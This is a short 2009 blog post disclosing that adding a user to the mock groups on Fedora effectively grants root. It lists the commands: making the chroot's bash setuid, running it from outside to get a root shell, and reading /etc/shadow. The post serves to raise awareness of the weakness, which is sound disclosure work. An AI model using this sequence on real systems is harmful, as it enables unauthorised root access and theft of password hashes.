becoming root with mock
Wednesday, May 27th, 2009I wonder how well known it is that installing mock and adding a user to the mock groups means giving this user root access most of the time. I know the authors of mock now and also some people on fedora-devel, but did you know? In case you wonder how it works, here is one way to do this:
$ /usr/bin/mock --init -r fedora-10-i386
$ /usr/bin/mock --shell -r fedora-10-i386
mock-chroot> chmod u+s bin/bash
$ /var/lib/mock/fedora-10-i386/root/bin/bash -p
# cat /etc/shadow